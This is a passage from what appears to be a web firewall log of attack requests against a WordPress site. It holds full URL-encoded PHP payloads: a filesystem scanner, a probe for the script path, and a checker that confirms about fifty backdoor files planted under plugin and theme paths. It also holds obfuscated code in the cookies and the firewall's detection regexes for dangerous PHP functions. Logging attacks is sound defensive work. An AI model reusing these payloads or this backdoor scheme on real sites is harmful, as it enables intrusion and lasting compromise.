20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-20 12:31:14","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> KX:%3C%3Fphp%20%20%20%24path%20%3D%20%24_SERVER%5B%27SCRIPT_FILENAME%27%5D%3B%20die%28%22%3Cfs%3E%22.filesize%28%24path%29.%22%3C\/fs%3E%3Cp%3E%7B%24path%7D%3C\/p%3E%22%29%3B","POST \/ HTTP\/1.1\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvF1tvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-length:250\n\nKX=%3C%3Fphp%20%20%20%24path%20%3D%20%24_SERVER%5B%27SCRIPT_FILENAME%27%5D%3B%20die%28%22%3Cfs%3E%22.filesize%28%24path%29.%22%3C\/fs%3E%3Cp%3E%7B%24path%7D%3C\/p%3E%22%29%3B"]
["2026-04-20 12:31:26","213.209.159.254","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> rU:%3C%3Fphp%20%20%20%24path%20%3D%20%24_SERVER%5B%27SCRIPT_FILENAME%27%5D%3B%20die%28%22%3Cfs%3E%22.filesize%28%24path%29.%22%3C\/fs%3E%3Cp%3E%7B%24path%7D%3C\/p%3E%22%29%3B","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpyHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-length:250\n\nrU=%3C%3Fphp%20%20%20%24path%20%3D%20%24_SERVER%5B%27SCRIPT_FILENAME%27%5D%3B%20die%28%22%3Cfs%3E%22.filesize%28%24path%29.%22%3C\/fs%3E%3Cp%3E%7B%24path%7D%3C\/p%3E%22%29%3B"]
["2026-04-20 13:01:36","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ph:%3C%3Fphp%20%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ProductLinkInvitationStatusEnum\/comments.php%22%3D%3E%22bd%40%40282626272%40%40626%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdGroupBidModifierErrorEnum\/autoblogged.php%22%3D%3E%22bd%40%40290180605%40%401042%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/KeywordPlanCampaignKeywordErrorEnum\/CYEC07_2winners.php%22%3D%3E%22bd%40%40290182186%40%40684%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdSharingErrorEnum\/docsql.php%22%3D%3E%22bd%40%40290182191%40%40882%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/metadata\/Google\/Ads\/GoogleAds\/V20\/Resources\/template.inc.php%22%3D%3E%22bd%40%40290180607%40%40616%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/RecommendationErrorEnum\/album_rate.php%22%3D%3E%22bd%40%40290180604%40%4033%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%2C%0A%22\/wp-includes\/registration.php%22%3D%3E%22bd%40%40261747863%40%401105%22%2C%0A%22\/wp-content\/plugins\/astra-sites\/inc\/classes\/compatibility\/learndash\/class-astra-sites-compatibility-learndash.php%22%3D%3E%22bd%40%40282625858%40%40jZgVad%22%2C%0A%22\/wp-admin\/media.php%22%3D%3E%22bd%40%40263416356%40%401402%22%2C%0A%22\/wp-includes\/SimplePie\/src\/XML\/Declaration\/img_manager.php%22%3D%3E%22bd%40%40257152283%40%401010%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/beanstream_usd.php%22%3D%3E%22bd%40%40257241540%40%40919%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/Curve25519\/userverification.php%22%3D%3E%22bd%40%40262767864%40%401816%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/classes\/ActionScheduler_wcSystemStatus.php%22%3D%3E%22bd%40%40282625848%40%40SKTQJN%22%2C%0A%22\/wp-content\/plugins\/facebook-for-woocommerce\/assets\/build\/admin\/index.asset.php%22%3D%3E%22bd%40%40287676557%40%40IZGTGP%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/vendor-prefixed\/packages\/Symfony\/Component\/CssSelector\/Parser\/roompass.class.php%22%3D%3E%22bd%40%40290180611%40%401007%22%2C%0A%22\/wp-admin\/includes\/phocagalleryra.php%22%3D%3E%22bd%40%40257118725%40%40963%22%2C%0A%22\/wp-admin\/includes\/class-wp-privacy-requests-table.php%22%3D%3E%22bd%40%40290182176%40%40FPiRVD%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHTtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:14004\n\nPh=%3C%3Fphp%20%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ProductLinkInvitationStatusEnum\/comments.php%22%3D%3E%22bd%40%40282626272%40%40626%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdGroupBidModifierErrorEnum\/autoblogged.php%22%3D%3E%22bd%40%40290180605%40%401042%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/KeywordPlanCampaignKeywordErrorEnum\/CYEC07_2winners.php%22%3D%3E%22bd%40%40290182186%40%40684%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdSharingErrorEnum\